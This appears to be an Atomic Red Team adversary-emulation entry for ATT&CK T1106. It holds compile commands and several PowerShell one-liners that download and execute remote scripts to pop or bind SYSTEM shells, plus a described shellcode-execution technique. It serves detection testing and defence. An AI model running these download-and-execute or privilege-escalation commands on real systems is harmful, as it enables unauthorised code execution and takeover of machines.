Native API T1106

Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe "#{source_file}"
%tmp%/T1106.exe

if (Test-Path "#{source_file}") {exit 0} else {exit 1}

New-Item -Type Directory (split-path "#{source_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1106/src/CreateProcess.cs" -OutFile "#{source_file}"

Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')

Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')

Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')

Runs shellcode in the current running process via a syscall. Steps taken with this technique 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Use syscall to execute the entrypoint of the shellcode - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)

$PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug

Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue